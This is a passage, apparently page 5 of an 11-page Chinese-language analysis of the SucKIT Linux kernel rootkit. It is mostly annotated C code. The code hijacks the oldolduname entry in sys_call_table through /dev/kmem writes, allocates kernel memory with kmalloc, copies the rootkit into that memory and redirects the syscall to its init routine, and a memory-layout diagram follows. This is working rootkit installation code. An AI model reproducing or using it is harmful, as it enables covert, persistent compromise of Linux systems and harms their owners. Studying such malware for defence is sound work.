|
rr("c", __a2));
return (ulong)__res; }
又根据 #define __NR_KMALLOC OURSYS #define OURSYS __NR_oldolduname 在进一步替换为:
static inline ulong KMALLOC(ulong __a1,ulong __a2) { ulong __res; __asm__volatile ("int $0x80" : "=a" (__res) " "0"(__NR_oldolduname) rr("b", __a1) rr("c", __a2));
return (ulong)__res; }
执行KMALLOC(size,gfp),实际是去执行oldolduname系统调用,但我们知道它的地址 已经被kmalloc的地址替换了,所以就去执行kmalloc,到此,我们已经在内核区域中 分配了指定大小的空间
*/
mem = KMALLOC(size, gfp); if (!mem) { wkml(fd, oldsys, sct + OURSYS * 4); printf("FUCK: Out of kernel memory!\n"); close(fd); return 1; }
/* 将sk装入刚才分配的内存中 */
wkm(fd, (void *) kernel_start, (ulong) kernel_end - (ulong) kernel_start, mem + SCT_TABSIZE);
/* 用kernel_init函数的地址替换掉oldolduname系统调用的地址 跟KMALLOC同样的道理,调用oldolduname等于调用kernel_init
*/
wkml(fd, mem + SCT_TABSIZE + (ulong) (kernel_init) - (ulong) kernel_start, sct + OURSYS * 4);
/*
下面是sk所在内核区域内的内存分配示意图
mem kernel_start kernel_init kernel_end | | | | V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc) +------------------------------------------------------------------------------------ | 新的sys_call_table的数组 | | | PID_TABSIZE | +------------------------------------------------------------------------------------ |
共11页: 上一页 [1] [2] [3] [4] 5 [6] [7] [8] [9] [10] [11] 下一页
|
|
|